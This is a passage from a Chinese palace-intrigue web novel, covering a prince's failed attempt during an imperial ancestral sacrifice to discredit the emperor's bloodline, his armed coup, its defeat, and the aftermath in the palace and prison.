然而,更大的骚动已无法遏制。人群之中,不知从哪个角落,有人呐喊: “天火!这是天火示警!” “祭坛自燃,乃上天降罪!得位不正,先祖震怒啊!” “先帝不安!先帝在泉下不得安息啊!” 满场哗然!百官宗亲们脸上血色尽褪,他们互相张望,从同僚眼中看到同样的骇然与猜忌,又齐齐扭转头,看了看熊熊燃烧的祭坛与帷幔,再看一看皇帝、太后、诸位王爷。 太后眉心紧蹙,看了一眼宋宜年,目光中隐有责备。诸位王爷则只是互相看看,静默不语。 一片混乱惊惶之中,御阶之上的姜玄,身形稳如磐石,连衣袂都未曾拂动一下。旒珠遮蔽下,无人能窥见他眼中丝毫波澜,只能看见他持圭的手,指节分明,稳如泰山,连最细微的颤抖都无。 就在这时,一道深紫色身影决然越众而出。 康王姜昀大步走到广场中央,他看也未看那仍在燃烧的祭坛,目光如剑,穿透稀薄的晨雾,直刺御阶之上那尊沉默的身影,声音洪亮如钟,骤然压过了所有嘈杂: “列位宗亲!诸位大臣!今日之异象,绝非偶然!此乃先帝在天之灵,不忍见社稷蒙尘,给予我等后人的泣血预警!若不正本清源,涤荡污浊,即便再做百日法事,焚尽天下名香,先帝英灵亦难安息,我大兖国祚何以绵长?” 礼部尚书王彦气的胡须乱颤,上前一步,指着姜昀,声音发颤:“康王殿下!祭祀大典,国之重礼,祖宗成法岂容中断?纵有异象,也该由钦天监测算禀告!有何事,祭礼之后……” “之后?”姜昀猛地转头,目光锐利如刀,直逼王彦,“祭礼之后,这‘天火示警’便可当作一场意外?这‘得位不正’的呐喊,就能从诸位心中彻底抹去?” 他字字铿锵,掷地有声,带着一股破釜沉舟的决绝。不少宗亲闻言面露沉思,人群中响起压抑的议论声,隐然骚动。 第181章 铁证 一直如同老僧入定般沉默的宗人府令老裕王,此刻缓缓睁开了微阖的双目。 他已年过七旬,须发皆白如雪,皱纹深刻如刀劈斧凿,在宗室中威望素著,一言可定纷争。老裕王的目光先掠过那已被扑灭火的青铜鼎和帷幔,又在昂然而立、气势逼人的姜昀身上停留一瞬,最终,缓缓投向了御阶之上,那个自始至终未发一言的年轻皇帝,苍老的声音缓缓荡开: “陛下,天现异象,人心惶惶,祖宗在前,不可不察。康王既有所言,且关乎国本血脉……老朽以为,事关重大,不妨听其一言。若其言属无稽之谈,再治其扰乱祭祀、污蔑君上之罪不迟。” 此言一出,如同在紧绷的弓弦上又加了一份力。宗室中最具威望的长者已然表态,这无形的压力瞬间化作千钧重担,都到姜玄一人肩头。 所有的目光——惊疑的、担忧的、审视的都如同密密麻麻的钉子,死死钉在了那袭孤峭的玄色冕服之上。广场上陷入一种可怕的寂静,远处,不知何处传来几声乌鸦嘶哑的啼叫,更添不祥。 太后广袖下的手指倏然收紧,尖利的护甲深深陷进掌心软肉。她双目如寒冰利剑射向姜昀,胸脯因怒意微微起伏。 姜昀却恍若未见,他的全部心神、所有的恨意与野心,都死死锁在御阶之上。 姜玄略昂了昂头,垂落的十二旒白玉珠相互轻轻碰撞,发出一连串细碎而清冷的声响。他的目光穿透那晃动的珠帘,平静地落在姜昀那张因激动而略显扭曲的脸上,然后,薄唇轻启。 “准。” 只有一个字,声音不高,甚至没有什么起伏,却奇异地压过了火焰声、风声,清晰地钻进每个人的耳朵里。 太后颇不赞同的看向姜玄,只是此情此景,她也没有什么别的办法,内心隐隐觉得不妙,姜昀那般笃定,说不得真是有什么了不得的证据。 得了这声“准”,姜昀面向黑压压的宗亲与百官,胸膛微微起伏,他深深吸了一口气,气息滚烫,每一个字都化作惊雷:“列位宗亲!诸位朝臣!请你们睁大眼睛,看清楚!”他猛地抬手指向御阶之上,声音因激动而带着些颤抖,却因此更显得凄厉和真实,“我大兖当今高坐龙椅的天子,姜玄!” 姜昀手臂绷直,指尖如剑,语不惊人死不休:“他!根本就不是先帝的亲生骨血!他!不配继承大统!” “轰——!” 如同一块烧红的烙铁狠狠砸进冰水之中,死寂被彻底撕裂、煮沸!宗亲大臣们瞠目结舌,仿佛瞬间被扼住了喉咙,人人色变。 “放肆!” 太后猛地向前踏出一步,凤冠上垂落的珠翠金饰剧烈碰撞摇晃,发出急促的脆响。她明艳的脸颊因震怒而泛起红潮,眼中燃烧着熊熊烈焰,“康王!你竟敢在列祖列宗神位之前,在百官宗亲众目睽睽之下,如此恶毒污蔑天子,亵渎先帝!陛下乃先帝血脉,此事千真万确,容不得你在此胡言乱语,妖言惑众!” 然而姜昀仿佛早已料到会有此反应,他非但没有退缩,反而迎着太后几乎要喷出火的目光,脸上浮现出一种混杂着悲怆、无奈与破釜沉舟的决绝,声音陡然拔高,竟带着泣音:“母后!儿臣知道您一时难以接受!儿臣亦不愿相信!可血淋淋的真相就在眼前,儿臣今日,绝非空口无凭,恶意构陷!” 他再次从怀中掏出一卷纸张明显泛黄、边角磨损的册页,高高擎起:“诸君请看!此乃隆庆二十二年九月初三,太医院存档之原始诊籍录副!上面白纸黑字写着‘帝上股侧受创,为利齿所啮,皮破血涌……医嘱:创处忌动,需静养,严令禁房事,为期一月!’” “那一夜,正是先帝酒后临幸娴美人之时,娴美人胆大包天,竟敢咬伤先帝,先帝受伤,当晚未必真的宠幸了娴美人。” 姜昀口中的娴美人,就是后来被追封为孝懿皇太后的姜玄生母——林娴。 不等众人从这宫廷秘闻中缓过神,姜昀手腕一翻,又抽出一份略薄的册子,哗啦一声抖开:“此乃内廷彤史处承幸簿之摘录!隆庆二十二年九月,娴美人仅有的一次侍寝记录,便是九月初三那夜!此后,直至次年七月产子,彤史之上,再无任何承恩的记载!” 姜昀环视四周,看着那一张张由震惊的脸,接着说道:“一个仅有唯一一次侍寝机会的妃嫔,而在那唯一的一次侍寝中,皇帝身受重伤……她却能在十一个月之后,安然产下一子。” 他刻意停顿,目光扫过每一双眼睛,仿佛要将这荒诞的景象烙印进他们脑海。 “常言道十月怀胎。所谓‘十月’,乃是从女子上一次月事起始之日计算。若按此严谨计算,从隆庆十二年九月初三侍寝之夜,到次年七月娴美人生育之日……这中间,足足过去了将近十二个月!” 他猛地旋身,再次以手指向御阶上沉默的姜玄,目光如鹰隼般锐利,试图穿透那重重旒珠的遮蔽:“一个在母腹之中存活了十一个月有余的婴孩?这可能吗?” 广场上只有一片粗重压抑的喘息和远处隐约的乌鸦嘶鸣。许多人脸色惨白,下意识地在心中飞速计算着日期,越算越是心惊,额角渗出冷汗。 太后定定看着姜昀,难怪他把赵茂才抛出来了,只怕在赵茂才身上没找到裂缝,索性扔出来让姜玄分心,而他真正的杀招原来是这个。 第182章 生父 就在这时,一直沉默旁观的太医院院正缓缓出列。 他先向御阶方向深深一揖,随后才转向众人。白发在风中微微颤动,声音苍老,却稳重:“康王殿下适才所言,妇人怀胎十月之期,确乃常理,然并非四海皆准、不可更易之铁律。” “老朽行医数十载,宫中脉案、接生记录,经手无数。妇人妊娠,自受孕至分娩,二百八十日左右视为常轨,然天地造化,各有所殊。有体弱之妇,七八月便瓜熟蒂落;亦有母体丰腴、气血充盈者,过期而产,乃至十一月、十二月方得降世,母子均安者,亦非罕见。” 他说到这里,略一停顿,目光扫过众人。 “史册明载,前朝武德年间,孝慈高皇后之嫡长子,便是怀胎十一月有余方顺遂降生,后亦聪慧仁孝,登基为帝。故而,仅凭孕期长短推断血缘,实难作为定论,反易生冤谬。” 太医院院正的这番话,将姜昀方才那套看似严密的“时间铁证”拆解得七零八落。 不少方才在心中暗暗推算、越算越心惊的大臣,神色明显一松,有人甚至低声交换了一个眼神,暗自点头。 姜昀脸颊的肌肉不易察觉地抽搐了一下,目光扫过那些经历过先帝朝的老臣、宗亲,声音激越:“诸位老大人,宗亲长辈,你们许多人是亲眼见过先帝盛年风姿的!先帝龙睛凤颈,天日之表,可你们再看一看他——” 他伸手指向姜玄,“他的眉眼轮廓,可有半分先帝的影子?他的气质神韵,可有丝毫我姜氏皇族的煌煌天威?” 姜玄并未将姜昀的指控放在心上,他的确与先帝是不大像的,因为他肖母。 姜昀见将姜玄依旧平静,深呼吸一口,忽然抬手重重一拍。 清脆的掌声在太庙肃穆的穹顶下显得格外刺耳。 随着这两声拍掌,两名侍卫从人群后方押着一名中年男子快步上前,半推半拖将人带到了广场中央。 那男子身材高大,骨架宽阔,即便衣着粗陋,也依稀能看出年轻时的挺拔。灰布衣裳洗得发白,满面风霜尘土,两鬓斑白,眼角额际刻满岁月与奔波留下的深纹,整个人显得疲惫而落魄。 可当他被迫抬起头,露出整张面容的一瞬间—— 太庙广场上,响起一片低低的倒抽冷气声。 像。 不是眉眼的全然相似,而是骨相。 挺直如削的鼻梁,紧抿时显得冷硬的唇线,眉骨的走向与额骨的起伏……即便隔着冕旒珠帘,隔着岁月与身份的天堑,仍旧有一种令人心头发紧的的神似。 人群中,有宗亲不自觉地向御阶之上看去,又猛地收回目光,脸色发白;也有人喉结滚动,却不敢出声。 姜昀将这一切尽收眼底,唇角勾起一抹冷硬而笃定的弧度。 他的声音在火光映照下,显得格外冷冽: “此人,便是当年宫中侍卫——陆文昭。” 他一字一顿,像是在钉下一枚枚钉子。 “娴美人林氏入宫后,便与此人情意相投,两人约定林氏年满二十五出宫结为夫妻。后林氏被先帝看中,封为美人,又因失宠打入冷宫。陆文昭不忍心上人受苦,自请调往冷宫荒僻之处值守,放弃前程,甘为下役。” “正是凭着这层身份,他才得以多次暗中出入冷宫——” 姜昀的语气越来越冷: “这才有了后来,瞒天过海、李代桃僵的所谓‘皇嗣’!” 他猛地转身,目光如毒刺般扎向那中年男子,声音在太庙中轰然炸开: “陆文昭!” “当着列祖列宗,当着满朝文武,你自己说——” “御阶之上这位,当今陛下,究竟是不是你的血脉?是不是你与娴美人私通所生之子?” 这一声喝问,几乎是逼命。 那中年男子浑身剧烈一震,仿佛被人当胸击中,脸色瞬间惨白。他张了张嘴,喉咙却像是被什么死死堵住,半个字也吐不出来。 在所有人的注视下,他终于支撑不住,双膝一软,“噗通”一声重重跪倒在汉白玉地砖上。 额头撞地,发出沉闷的声响。 “咚。” “咚。” 他伏在地上,肩背剧烈起伏,喉咙里挤出低哑破碎的呜咽,像一头被逼到绝路的困兽。 这一幕,在众人眼中,几乎等同于默认。 不少大臣脸色已然变了。 宗亲中甚至有人下意识别开视线,仿佛不忍再看。 太后的心被提起来了,她并认识这名叫陆文昭的侍卫,但不得不承认,此人眉骨间的确和姜玄有些微相似之处。 姜昀缓缓吐出一口气,像是终于将积压多年的郁气吐尽。他不再逼迫陆文昭,而是转过身来,目光越过脸色铁青的太后,直直落向御阶之上那道始终沉默的玄色身影。 “而当年,”他的声音低了几分,却更显阴冷,“后宫之中,唯一可能最早察觉此事便是甄太妃,所以她会在先帝驾崩后不久,便‘急病暴毙’!甄太妃并非病死,而是无意窥破了这个足以动摇国本的秘密,被人灭口。” 听到姜昀说起甄太妃,姜玄的眉头略松动了些。人群中的雍王亦瞥了一眼姜昀,抿了抿嘴,终究没有开口说什么。 而太后却被姜昀这些话激怒,忍不住开口辩驳。 “荒唐。” 她的声音不高,带着一贯的威仪,姜昀下意识看向她。 太后抬起头,目光一如既往地冷静而审视。 “甄太妃之事,当年已有定案,病案、脉录、皆经太医院与宗人府核验。” “康王今日翻旧案,可有新证?” 姜昀沉默了片刻,甄太妃这件事是他推断出来的,目的是为了给娴美人与陆文昭的奸情增加可信度,但若说证据,他并没有。 姜昀道:“甄太妃去世已三年,本王四处搜寻证据,只可惜早已被人扫清。不过,天网恢恢,疏而不漏,陆文昭的存在便是最好的证据。” 第183章 传位诏书 姜昀看了看陆文昭,猛地抬手,指向御阶之上: “今日,他站在这里,便是最活生生的人证!” 话音落下,太庙广场陷入一片令人窒息的死寂。 所有的目光,惊疑、审视、骇然、动摇,尽数聚焦在姜玄身上。 姜玄却只是静静站着。 隔着旒珠,他的神情无人得见,唯有身形笔直如松,仿佛这足以掀翻江山的风暴,与他毫不相干。 姜玄心中很清楚,姜昀要的,便是让“血统存疑”这四个字,像一枚种子,深深埋进在场每一个人的心里,让它自己生根发芽。这招十分狠毒,甚至不需要证据确凿的证据,只一个“疑”字便能动摇国本。 就在这沉默几乎要将人逼疯之时,姜玄终于开口。 “康王。你说完了?” 姜昀下意识地眯起眼,昂头看向姜玄。 姜玄轻轻摇了摇头,语气平静道:“你为了构陷于朕,竟煞费苦心寻了一个跟朕略有些相似的人出来。” 说着,姜玄看了一眼张鸿宝:“张鸿宝,你在宫中已二十多年,先后伺候过三位主子,不知你是否认识这位名叫‘陆文昭’的侍卫?” 张鸿宝道:“启禀陛下,老奴的确认识陆文昭,只因当年宫中发生行刺,陆文昭以血肉之躯替皇贵妃挡剑,得到了先帝嘉奖,是以老奴记忆深刻。” 姜玄哦了一声才道:“也就是说,那个陆文昭,早就死了?” 张鸿宝道:“没错,死于隆庆二十二年十月初九,宫中都有记档,这些都好查证,并不是随便找个人便能冒认的。” 姜昀早已将陆文昭的生平调查清楚,闻言嗤笑一声道:“陆文昭当初看着是殉职了,但他侥幸逃生,生怕与娴美人的奸情败露连累全家,所以苟且偷生,一直隐姓埋名活着。或许,他也在等着跟陛下相认的这一日。” 姜玄的目光第一次真正落在陆文昭身上,陆文昭低着头跪在地上,整个人微微在发抖。 “陆文昭。” 这一声唤名,让跪伏在地的男子猛然一颤。 姜玄的声音依旧平稳:“你现在跪着的是大兖的太庙,你不必怕任何人,只需说受了谁的指使。” 这一刻,所有人的心都提到了喉咙口。 唯有姜昀并不紧张,他知道陆文昭是真的,这件事他谋划了两年,从观星台找到陆文昭的那一刻他便开始做准备,陆文昭被关在地牢里日夜逼问,千百次的审问早让他形成了肌肉记忆,他也早已交代了所有真相。 陆文昭深深吸了一口气,额头重重磕在地上,接着抬起头,伸手指向康王,声音嘶哑,却异常清晰: “陛下救我!草民被这人胁迫,不得不从,呜呜……” 姜昀的瞳孔,在瞬间骤然收缩。他几乎不敢相信自己的耳朵,耳边犹如响起晴天霹雳。 陆文昭却已抬起头,面上看着十分害怕,声音却越来越稳:“草民只是山中一个猎户,名唤靳六七,根本不认得什么美人、什么皇子,这个叫什么康王的,把草民关进地牢,日夜逼供,教我如何撒谎。草民为了保命,不得不按照他说的做,求陛下救救草民,草民不想死……” 陆文昭话音落下,又重重磕了一个头。 姜昀脸上的血色,退得干干净净,他没料到一个被他的观星台密探审问、训练了两年的人,竟还能保持本心,在最关键的时刻反水。 “他是为了保护自己的儿子!他是故意这么说的!” 姜昀有些失控地喊道。 在场众人面面相觑,交换眼神后马上有人开口斥责。 太常寺卿宋宜年忍不住喝道:“康王爷,事已至此,还有什么好说的?此人若是承认,便是铁证,若是不承认,便是为了保护皇上,话都是你说的,却没有一丝证据。” 老裕王皱紧眉头看着姜昀,微微摇了摇头。 太后亦是心中一松,目光不自觉地看向姜玄,心中思量,他是早就知道会有这件事吗? 姜昀心底亦是惊涛骇浪,姜玄怎么会如此沉静,而陆文昭又为何突然反水,难道他的谋划,早在何处露了痕迹,被姜玄反制回来了? 不,不可能。 赵茂才那条线,分明已经将姜玄的注意力牢牢引向了旁处,甚至逼得他提前调动锦衣卫彻查关于赵茂才,他不该如此淡定。 寒意,顺着姜昀的脊梁骨,一寸寸爬了上来。他垂在袖中的手缓缓收紧,眼底掠过一丝阴鸷的寒光,却没有半分退意。相反,那被逼到悬崖边缘的孤注一掷,反倒被彻底点燃。 他深吸一口气,右手再次探入蟒袍宽大的袖中。 这一次,取出的,是一卷明黄的锦帛。 “本王不仅知道他非父皇之子,” 姜昀高高举起手中的锦帛,声音因激动而微微嘶哑,却带着一种破釜沉舟般的决绝,“更知道——他即位时所宣读的那道诏书,并非父皇最终的心意!而我手中这一道,才是先帝真正留下的传位之诏!” 此言一出,如惊雷坠地。 “这道诏书——” 姜昀立于殿中,目光如炬,缓缓扫过满场宗亲与百官,语气沉稳,却暗含锋芒: “乃先帝亲笔口述,内廷誊写,当面用印。诸位皆是明白人,总不至于……也要说它是假吧?” 话音未落,他手腕一抖,锦帛“哗啦”一声迎风展开。 明黄底色在日光下耀目生辉,朱砂御笔遒劲有力,字字如铁。真正令人心惊的,却是正文之后那两方朱印—— 一为天子玉玺,镇压乾坤;一为先帝随身私印,印文古雅,朱红如血。 “诸位请看!” 姜昀上前一步,指尖重重点在那两枚印章之上。 “己未年十二月,父皇沉疴难起,自知大限将至,召本王至龙榻之前,亲口言明储位所属。当时在侧者——内阁大学士杨公,翰林院学士徐明哲,总管太监赵茂才,皆可为证!” 他语调一转,隐隐透出寒意:“而后数日,杨公忽发恶疾,被迫致仕归乡;徐明哲因殿前失仪被贬官至苦寒之地,赵茂才亦于先帝殡天后不久暴毙。诸位以为——这都是巧合吗?” 群臣之间,已有细微骚动,不少人神色凝重,对视不语。 第184章 败北 “这遗诏就是真的!此诏乃先帝真意所属!天命在我!” 姜昀嘶声厉喝,声音在太庙穹顶下激荡回响,带着近乎癫狂的亢奋,“姜玄,你窃据大位,今日天火示警,人心向背,你还要逆天而行吗?我乃父皇属意之嗣,当顺天应命,正位九五!” 话音未落,仿佛是为了呼应他这石破天惊的宣告,太庙高大的宫墙之外,遥远的方向,骤然传来沉闷如雷的鼓噪声! 那不是零星骚动,而是成建制兵马调动的声响——战鼓低沉,甲叶相击,铁蹄踏地,隐约夹杂着压抑而整齐的呼喝声,正迅速逼近皇城。 殿中众人悚然变色。 姜玄微微侧目,目光越过殿门,投向声音传来的方向,神情依旧克制,却已第一次显出凝重。 “听见了吗?” 姜昀背对御阶,张开双臂,仿佛在拥抱那席卷而来的动乱之声,脸上浮现出一种近乎陶醉的神情,“宣云卫已至城外!京畿大营此刻恐怕也已易主!这皇城九门,至少有一门,已为本王洞开!” 他说话时,目光不自觉地掠向太后。 那目光炽热而放肆,带着毫不掩饰的占有与窥伺。 太后眉心骤然一紧,凤目冷光如刃,猛地抬眸,厉声斥道: “姜昀!” “你竟敢在奉先殿中,诬陷皇帝血统,假托遗诏,妄动刀兵!你可还记得自己姓姜?你可对得起列祖列宗?” 那一声斥喝如金石坠地,殿中短暂一静。 姜昀心头一紧,却很快被更汹涌的狂热压过。他咬牙冷笑:“母后不必再以大义压我!今日父皇遗志在此,天命昭彰,谁敢阻我?” 太后声色冷肃,字字如钟: “陛下乃先帝嫡传,宗法所立,正统所在。康王今日所倚仗的,想来不过是你康王妃父兄所守的宣云卫罢了。” 她缓缓起身,凤袍垂落,气势森然: “莫说区区一卫之兵——便是倾国之兵临城,我宋家儿郎,也会战至最后一人,流尽最后一滴血,护持陛下,卫我社稷!” 话音方落—— “轰——!” 一声沉闷而巨大的撞击声,猛然自太庙西侧传来! 殿宇梁柱震颤,尘土簌簌而落,紧接着,是如潮水般汹涌而来的喊杀声、兵刃相撞声、号角声! 殿内瞬间大乱! 文官面无人色,宗亲惊呼四散,甚至连几名老将也不由自主地按住佩剑,目光惊疑地望向殿门。 姜玄身体微微前倾,眉头终于紧紧蹙起。 姜昀将所有人的反应尽收眼底,一股巨大的、近乎狂喜的浪潮淹没了他!他等待的,他筹划的,终于来了! 就在此时,数名身着禁军服色的兵士疾步冲入殿中。 他们甲胄齐整,步伐一致,腰牌、令符一应俱全——这是姜昀的康王府属兵,是他麾下观星台提前布局,以禁军指挥同治司空运的家人性命要挟,用王府属兵替换了值守的禁军。 姜昀提剑在手,踏着汉白玉地砖,一步步逼近御阶,声音因狂喜而发颤: “父皇属意于我,天命在我!今日便拨乱反正,承继大统!” 他剑锋直指姜玄,厉声喝道:“拿下姜玄者,封侯拜将!” 厮杀骤起。 王府属兵与被裹胁的禁军猛然冲锋,与御前侍卫、锦衣卫在太庙前庭战作一团。 刀光血影,惨叫不绝,鲜血迅速染红了汉白玉地砖,沿着祭坛石阶缓缓流淌。 群臣宗亲们手无缚鸡之力,皆簇拥着皇帝和太后等往后退,场面局势瞬间倒向姜昀。 紧接着,一名王府亲兵策马至殿前,高声禀道: “殿下!诸王府卫军已应允联合,京畿大营三千兵马倒戈,即刻来援!观星台已拿下禁军指挥同知司空运,西直门大开,赵将军大军已兵临城下!” “哈哈哈……” 姜昀仰天大笑。 姜玄闻言看向簇拥在侧的雍王等人,雍王白着一张脸,嘴唇哆嗦着说不出话来,靖王和瑞王连连摇头,目光却是看向了和安郡王。 和安郡王冲姜玄拱手行礼道:“陛下,稍安勿躁。” “康王谋逆,天地不容!” 一声暴喝自西侧响起! 禁军统领宋止亲率精兵杀入太庙前庭,阵列严整,进退有度。宋家铁卫久经沙场,出手便是杀招,硬生生将混乱战局撕开一道口子! 战局,终于开始缓缓倾斜。 姜昀面色发白,额角青筋暴起,再也按捺不住,厉声喝问: “赵将军呢?宣云卫为何还未入城?” 他话音未落,西直门方向,一骑浑身浴血的斥候踉跄奔入,尚未站稳,便重重跪倒在地,声音嘶哑得几乎撕裂: “报——!” “赵将军率宣云卫主力,于城西二十里外,与宋家铁骑遭遇!” 殿中一静。 那斥候狠狠喘了一口气,继续道: “赵将军三度亲自冲锋,左臂中箭仍不退阵——宋家铁骑亦损伤惨重!” 这一句,让姜昀眼中重新燃起一丝血色。 然而下一刻—— “然宋家后军伏兵尽出,骑步合围,断其侧翼!赵将军力战不退,终寡不敌众,被乱军所伤,宣云卫阵脚大乱!” 斥候声音骤然低了下去,几不可闻: “宣云卫……败了。” “宋家军亦死伤惨重,尸横原野,血染官道——然其仍强行夺回西直门,已封锁城防!” 话音落下,如重锤击心。 姜昀脸上的血色,在这一瞬间彻底褪尽。 原来拼尽所有,他仍然败阵。他张了张嘴,却发不出任何声音。 也就在这一刻,从京畿大营方向赶来的诸王府卫军,阵形忽变,枪锋调转,反将姜昀的王府属兵与残余倒戈禁军团团围住。 为首几名王府侍卫长齐齐翻身下马,单膝跪地,甲胄染血,却声音清晰而坚定: “启奏陛下!臣等早察觉康王野心,假意附和,只为稳住叛军!臣等绝无忤逆犯上之心” 姜昀踉跄着后退一步,再一步,脚下踩空,长剑“当啷”一声坠地,滚落在血泊之中。 苗菁趁机上前,一脚踹在姜昀膝弯,迫使他跪倒在地,绣春刀架在他脖颈上,冰冷的刀锋贴着皮肤。 第185章 谁是执棋人 姜玄缓缓抬手,示意苗菁押住姜昀,威严的声音传遍广场:“康王姜昀,勾结外将,于太庙祭祀之时谋逆作乱,罪证确凿,天地不容!即日起,废去康王爵位,打入天牢,听候发落!其党羽、观星台势力及赵敬伟余部,一律从严查办。” “吾皇万岁万岁万万岁!”百官宗亲与士兵们纷纷跪地叩首,声音震彻太庙。 广场上一片狼藉,鲜血浸透了汉白玉,烧焦的帷幔与尸体交叠,空气中弥漫着血腥味与焦糊味。姜玄立于御阶之上,目光扫过满地惨烈,旒珠垂落遮住眼底情绪:“清理现场,厚葬战死将士,将士死伤皆按例俸禄抚恤。祭祀大典,稍后继续进行。” 编钟余音袅袅,祭礼在礼部和太常寺主持下有条不紊地继续进行。香烛烟气缭绕,试图掩盖殿外广场上尚未散尽的淡淡血腥。 姜玄一丝不苟地按照礼部所说进行祭祀仪式,面色平静,好似刚刚这里并不曾发生任何事一样。 太后的脸色,却在庄重凤冠与厚重礼服的衬托下,显得有几分苍白。她的目光,无法控制地飘向殿外那片正在被清理过后却仍残留着斑驳暗红的广场。她知道,那每一片刺目的颜色,都可能代表着一名宋家儿郎,或者一名忠于皇帝的禁军士兵,再也回不了家。 而这一切的始作俑者是她。 若不是她假借先帝周年大祭、需诸王共襄盛典以显孝道和睦之名,命包括康王在内的五位藩王进京,或许就不会有今日之祸。 她原以为,京城是棋盘,她是执棋人。她早已密令宋家心腹,暗中盯紧了五王府邸在京的一举一动,甚至连他们每日见了谁、采买了何物,都有密报呈上。 可她千算万算,没算到姜昀的胆大包天,竟敢在太庙之前、祖宗眼前,亮出刀兵!更没算到,他的谋划并非始于接到进京旨意之后,看那城外能快速反应的宣云卫,被渗透的京畿大营和城门守将……这分明是一场旷日持久、从他就藩之日起便可能开始编织的罗网!她的旨意,或许只是让他提前收网,给了他一个契机。 一股夹杂着后怕、自责与凛冽寒意的情绪攫住了她。她几乎能想象,若今日稍有差池,此刻太庙之上,会是何等景象。 “即便不是本宫下旨召他进京,以康王的野心和这般布置,他迟早也会寻别的由头,甚至直接挥兵犯阙……”太后在心中竭力安慰自己,试图将那份沉重的负疚感压下。她是国母,是经历过风浪的太后,此刻绝不能露出一丝一毫的软弱和悔意。 祭祀终于结束,百官宗亲依序退下,每个人的脚步都略显匆忙和惊魂未定。偌大的殿前,很快只剩下皇帝和太后二人,以及远远肃立的贴身宫人和侍卫。 姜玄缓缓转过身,面向太后。他后退半步,整理袍袖,对着太后,郑重行了一个大礼。 “今日康王谋逆,太庙染血。幸得宋止统领临危不惧,作战勇毅,一举平定祸乱。宋统领现今不在,请母后——” 他微微顿了顿,目光澄澈地看着太后瞬间绷紧的面容。 “替他,领儿臣一拜。此拜,谢宋统领忠勇,谢宋家儿郎……为我姜氏江山,流的血。” 每一个字,都像一把小锤,敲在太后的心口。她的喉头有些发紧,竭力平静道: “皇帝言重了。护卫陛下,拱卫社稷,是宋家世代本分,更是他们身为臣子,该做的。” 她微微侧身,只受了半礼,目光却越过姜玄的肩膀,望向远处天际。那里,夕阳正缓缓沉下,将天际染成一片壮烈而又凄艳的殷红,宛如方才那场短暂而惨烈厮杀的血色余晖,久久不散。 紫宸殿内,沉水香静静燃着,已经完全没有了白日里的血腥与戾气。姜玄已换下繁重的冕服,只着一身玄色常服,坐在御案之后。 雍王、靖王、瑞王三位王爷连着和安郡王一起被引了进来。雍王脸上的惊悸尚未完全褪去,额角还隐有薄汗。甫一进殿,行礼过后,他便急急开口:“陛下明鉴!臣等早先便已与和安通了气,今日卫军所为,不过是虚与委蛇,假意迎合康王那逆贼,只为引蛇出洞,绝无半点背叛陛下之心啊!” 靖王与瑞王也连忙附和。 姜玄的目光扫过他们略显仓皇的脸。他心知肚明,这三位的“早先通气”恐怕水分颇大,多半是在局势未明时首鼠两端,眼见康王事败、皇帝掌控全局,才在最后关头急忙“反正”。 但他并未戳破。抬手虚扶:“三位皇兄不必多礼,快快请起。今日之变,凶险异常,诸位皇兄能深明大义,关键时刻助朝廷平定逆乱,便是于江山社稷有功。都是为了大兖的安稳,朕心中有数。” 他语气和缓,目光诚挚:“此番受惊了。离京之前,朕必设宴,为三位皇叔压惊,也当是酬谢今日之功。” 这番话,既给了台阶,又以“设宴酬功”的姿态将此事轻轻揭过,三位王爷闻言,紧绷的肩膀终于松弛下来,脸上挤出笑容,连声道谢,又说了许多表忠心的话,方才被内侍恭敬地引了出去。 一直安静立在旁侧、气质温润如玉的和安郡王姜瑜则一直站着没走,等待姜玄发话。 姜玄指了指下首的座位:“坐吧。之前恐人多眼杂,不好单独留你,这会咱们可以说说话了。” 姜瑜依言坐下,姿态放松了些,但礼仪依旧周全。他是淮王长子,按辈分是姜玄的侄子,两人年纪却只差两岁。 “这次之事,你做得很好。”姜玄看着他,语气满是赞许,“若非你早察觉康王串联诸王的动向,暗中周旋,今日局面,恐怕更要棘手几分。” 姜瑜有些不好意思地笑了笑,清俊的脸上露出一丝腼腆:“皇上过誉了,臣分内之事。” 姜玄点了点头,端起茶盏抿了一口,忽然问:“大哥他身体一向硬朗,此次突然告病未能进京,不会是你动了什么手脚吧?” 他问得直接,目光却带着了然的笑意。 第186章 想见 姜瑜脸上有些红,摸了摸鼻子,低声道:“父王的性子,皇上您是知道的,最是看热闹不嫌事大。臣恐他来了,胡乱掺和,平添变数。所以……就在他的饮食里加了些安神助眠的药物,剂量很轻,只会让父王在家多睡些安稳觉,于身体绝无损害。等他醒了,大局已定,也就闹不出什么了。” 两人对视一眼,不约而同想起从前在先帝病榻前侍疾的旧事。 那时先帝缠绵病榻日久,诸皇子需轮番值守,姜玄常被安排与淮王同班。 淮王每每进宫,总爱带着他这个沉静好学的大儿子。长夜漫漫,药气氤氲,一个沉稳的皇孙,一个早慧的皇子,便在那充满病弱与权谋气息的宫殿角落里,渐渐熟稔。淮王自己倒是时常熬不住,趴在先帝榻边便鼾声响起,留下两个少年默默守着灯烛,偶尔低声交谈几句诗书星象。 姜瑜此人,于权势地位上淡薄。他天资聪颖,尤嗜好天文星象、阴阳谶纬,且于此道天赋极高。他曾于观星台彻夜望气,也曾用古法起卦推演,无论星移斗转还是卦象变幻,所指涉的大兖帝星命格,始终清晰而坚定地落在姜玄身上。 在他那套玄奥的认知体系里,唯有姜玄承继大统,方能引领大兖走向国泰民安、国祚绵长。因此,他对姜玄的忠心,近乎一种笃定的信仰,私下里没少利用自己的才智和人脉,为姜玄查漏补缺,处理一些不便明言之事。 沉默了片刻,姜玄放下茶盏,看着这位心思玲珑却又志不在此的侄子,温声道:“此番你立下大功,想要什么奖赏?但说无妨。” 姜瑜放在膝上的手指微微蜷了一下。他抬起眼,澄澈的目光中带着犹豫和恳切,轻声问道:“皇上,能否饶康王叔死罪?终身圈禁,令其悔过,可否?” 殿内的空气似乎凝滞了一瞬。烛火噼啪了一声。 姜玄沉默了一会才开口道:“瑜儿,并非朕心狠,不留余地。康王于太庙祭祀之时,亮伪诏、诬朕血统、引兵开城门、令禁军倒戈、直逼御阶……此等逆行,桩桩件件,皆属十恶不赦之大罪。今日若饶他性命,国法何存?纲纪何存?日后人人效仿,又当如何?” 他顿了顿,语气稍缓:“朕能答应你的,是不会牵连过多。” 姜瑜静静地听着,眼中的光亮微微黯了下去。他明白皇帝说得在理,这已是权衡之后最顾全大局的决定。他所求的,确属过分的仁慈,在冰冷的政治现实面前,显得苍白无力,终究只能轻轻叹息了一声。 “臣明白了。”他低声说,不再坚持。 北镇抚司昭狱最深处,两盏昏黄油灯在壁龛中跳动。姜昀仍旧穿着华贵的朝服,靠坐在冰冷的石墙边,神情有些麻木。自被投入此地,他便保持着这个姿态,一言不发,仿佛灵魂早已随着太庙前的败绩一同死去,只剩下一具空壳。 狱门外传来沉重铁链被解开的哗啦声,紧接着是牢门开启的吱呀响动,苗菁走了进来。 